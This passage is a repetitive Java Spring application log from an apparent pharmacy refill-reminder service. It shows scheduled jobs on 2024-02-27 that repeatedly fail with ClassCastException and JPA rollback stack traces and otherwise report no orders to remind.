com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 02:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 02:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 02:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 02:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 02:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 02:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at 